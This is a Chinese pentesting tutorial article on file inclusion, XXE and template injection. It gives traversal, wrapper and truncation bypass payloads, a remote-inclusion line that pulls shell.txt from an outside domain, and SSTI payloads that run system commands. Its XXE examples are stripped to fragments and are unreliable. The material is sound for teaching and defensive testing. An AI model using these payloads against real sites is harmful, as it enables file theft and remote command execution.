當(dāng)前位置:首頁(yè) >  站長(zhǎng) >  建站經(jīng)驗(yàn) >  正文

網(wǎng)站滲透測(cè)試 對(duì)文件包含注入檢測(cè)辦法

 2019-10-11 10:10  來(lái)源: A5用戶投稿   我來(lái)投稿 撤稿糾錯(cuò)

  域名預(yù)訂/競(jìng)價(jià),好“米”不錯(cuò)過(guò)

昨天給大家普及到了滲透測(cè)試中執(zhí)行命令漏洞的檢測(cè)方法,今天抽出時(shí)間由我們Sine安全的滲透工程師來(lái)講下遇到文件包含漏洞以及模板注入漏洞的檢測(cè)方法和防御手段,本文僅參考給有授權(quán)滲透測(cè)試的正規(guī)安全檢測(cè)的客戶,讓更多的客戶了解到具體測(cè)試的內(nèi)容,是如何進(jìn)行全面的網(wǎng)站安全測(cè)試。

3.8. 文件包含

3.8.1. 基礎(chǔ)

常見(jiàn)的文件包含漏洞的形式為

考慮常用的幾種包含方式為

同目錄包含 file=.htaccess

目錄遍歷 ?file=../../../../../../../../../var/lib/locate.db

日志注入 ?file=../../../../../../../../../var/log/apache/error.log

利用 /proc/self/environ

其中日志可以使用SSH日志或者Web日志等多種日志來(lái)源測(cè)試

3.8.2. 繞過(guò)技巧

常見(jiàn)的應(yīng)用在文件包含之前,可能會(huì)調(diào)用函數(shù)對(duì)其進(jìn)行判斷,一般有如下幾種繞過(guò)方式

3.8.2.1. url編碼繞過(guò)

如果WAF中是字符串匹配,可以使用url多次編碼的方式可以繞過(guò)

3.8.2.2. 特殊字符繞過(guò)

某些情況下,讀文件支持使用Shell通配符,如 ? * 等

url中 使用 ? # 可能會(huì)影響include包含的結(jié)果

某些情況下,unicode編碼不同但是字形相近的字符有同一個(gè)效果

3.8.2.3. %00截?cái)?/p>

幾乎是最常用的方法,條件是magic_quotes_gpc打開(kāi),而且php版本小于5.3.4。

3.8.2.4. 長(zhǎng)度截?cái)?/p>

Windows上的文件名長(zhǎng)度和文件路徑有關(guān)。具體關(guān)系為:從根目錄計(jì)算,文件路徑長(zhǎng)度最長(zhǎng)為259個(gè)bytes。

msdn定義“`#define MAX_PATH 260“`,第260個(gè)字符為字符串結(jié)尾的“`0“`

linux可以用getconf來(lái)判斷文件名長(zhǎng)度限制和文件路徑長(zhǎng)度限制

獲取最長(zhǎng)文件路徑長(zhǎng)度:getconf PATH_MAX /root 得到4096 獲取最長(zhǎng)文件名:getconf NAME_MAX /root 得到255

那么在長(zhǎng)度有限的時(shí)候,`././././` (n個(gè)) 的形式就可以通過(guò)這個(gè)把路徑爆掉

在php代碼包含中,這種繞過(guò)方式要求php版本 < php 5.2.8

3.8.2.5. 偽協(xié)議繞過(guò)

遠(yuǎn)程包含: 要求 allow_url_fopen=On and allow_url_include=On , payload為 ?file=[http|https|ftp]://域名/shell.txt

PHP INPUT: 把payload放在POST參數(shù)中作為包含的文件,要求 allow_url_include=On ,payload為 ?file=php://input

: 使用偽協(xié)議讀取文件,payload為 ?file=php://filter/convert.-encode/resource=index.php

DATA: 使用data偽協(xié)議讀取文件,payload為 ?file=data://text/plain;,SSBsb3ZlIFBIUAo= 要求 allow_url_include=On

3.9. XXE

3.9.1. XML基礎(chǔ)

XML 指可擴(kuò)展標(biāo)記語(yǔ)言(eXtensible Markup Language),是一種用于標(biāo)記電子文件使其具有結(jié)構(gòu)性的標(biāo)記語(yǔ)言,被設(shè)計(jì)用來(lái)傳輸和存儲(chǔ)數(shù)據(jù)。XML文檔結(jié)構(gòu)包括XML聲明、DTD文檔類型定義(可選)、文檔元素。目前,XML文件作為配置文件(Spring、Struts2等)、文檔結(jié)構(gòu)說(shuō)明文件(PDF、RSS等)、圖片格式文件(SVG header)應(yīng)用比較廣泛。

3.9.2. XXE

當(dāng)允許引用外部實(shí)體時(shí),可通過(guò)構(gòu)造惡意的XML內(nèi)容,導(dǎo)致讀取任意文件、執(zhí)行系統(tǒng)命令、探測(cè)內(nèi)網(wǎng)端口、攻擊內(nèi)網(wǎng)網(wǎng)站等后果。一般的XXE攻擊,只有在服務(wù)器有回顯或者報(bào)錯(cuò)的基礎(chǔ)上才能使用XXE漏洞來(lái)讀取服務(wù)器端文件,但是也可以通過(guò)Blind XXE的方式實(shí)現(xiàn)攻擊。

3.9.3. 攻擊方式

3.9.3.1. 拒絕服務(wù)攻擊

]>

&a2;

若解析過(guò)程非常緩慢,則表示測(cè)試成功,目標(biāo)站點(diǎn)可能有拒絕服務(wù)漏洞。具體攻擊可使用更多層的迭代或遞歸,也可引用巨大的外部實(shí)體,以實(shí)現(xiàn)攻擊的效果。

3.9.3.2. 文件讀取

]>

&file;

3.9.3.3. SSRF

]>

4

3.9.3.4. RCE

]>

&xxe;

3.9.3.5. XInclude

3.10 模板注入漏洞

3.10. 模版注入

3.10.1. 簡(jiǎn)介

模板引擎用于使用動(dòng)態(tài)數(shù)據(jù)呈現(xiàn)內(nèi)容。此上下文數(shù)據(jù)通常由用戶控制并由模板進(jìn)行格式化,以生成網(wǎng)頁(yè)、電子郵件等。模板引擎通過(guò)使用代碼構(gòu)造(如條件語(yǔ)句、循環(huán)等)處理上下文數(shù)據(jù),允許在模板中使用強(qiáng)大的語(yǔ)言表達(dá)式,以呈現(xiàn)動(dòng)態(tài)內(nèi)容。如果攻擊者能夠控制要呈現(xiàn)的模板,則他們將能夠注入可暴露上下文數(shù)據(jù),甚至在服務(wù)器上運(yùn)行任意命令的表達(dá)式。

3.10.2. 測(cè)試方法

確定使用的引擎

查看引擎相關(guān)的文檔,確定其安全機(jī)制以及自帶的函數(shù)和變量

需找攻擊面,嘗試攻擊

3.10.3. 測(cè)試用例

簡(jiǎn)單的數(shù)學(xué)表達(dá)式,{{ 7+7 }} => 14

字符串表達(dá)式 {{ "ajin" }} => ajin

Ruby

Java

${7*7}

Twig

{{7*7}}

Smarty

{php}echo `id`;{/php}

AngularJS

$eval('1+1')

Tornado

引用模塊 {% import module %}

=> {% import os %}{{ os.popen("whoami").read() }}

Flask/Jinja2

{{ config.items() }}

{{''.__class__.__mro__[-1].__subclasses__()}}

Django

{{ request }}

{% debug %}

{% load module %}

{% include "x.html" %}

{% extends "x.html" %}

3.10.4. 目標(biāo)

創(chuàng)建對(duì)象

文件讀寫(xiě)

遠(yuǎn)程文件包含

信息泄漏 提權(quán)

3.10.5. 相關(guān)屬性

3.10.5.1. __class__

python中的新式類(即顯示繼承object對(duì)象的類)都有一個(gè)屬性 __class__ 用于獲取當(dāng)前實(shí)例對(duì)應(yīng)的類,例如 "".__class__ 就可以獲取到字符串實(shí)例對(duì)應(yīng)的類

3.10.5.2. __mro__

python中類對(duì)象的 __mro__ 屬性會(huì)返回一個(gè)tuple對(duì)象,其中包含了當(dāng)前類對(duì)象所有繼承的基類,tuple中元素的順序是MRO(Method Resolution Order) 尋找的順序。

3.10.5.3. __globals__

保存了函數(shù)所有的所有全局變量,在利用中,可以使用 __init__ 獲取對(duì)象的函數(shù),并通過(guò) __globals__ 獲取 file os 等模塊以進(jìn)行下一步的利用

3.10.5.4. __subclasses__()

python的新式類都保留了它所有的子類的引用,__subclasses__() 這個(gè)方法返回了類的所有存活的子類的引用(是類對(duì)象引用,不是實(shí)例)。

因?yàn)閜ython中的類都是繼承object的,所以只要調(diào)用object類對(duì)象的 __subclasses__() 方法就可以獲取想要的類的對(duì)象。這一節(jié)滲透測(cè)試講到的這些內(nèi)容和繞過(guò)手法,如果對(duì)自己網(wǎng)站不太放心的話可以找專業(yè)的網(wǎng)站安全公司來(lái)處理解決,國(guó)內(nèi)做的比較好的如Sinesafe,綠盟,啟明星辰等等。

申請(qǐng)創(chuàng)業(yè)報(bào)道,分享創(chuàng)業(yè)好點(diǎn)子。點(diǎn)擊此處,共同探討創(chuàng)業(yè)新機(jī)遇!

相關(guān)文章

熱門(mén)排行

信息推薦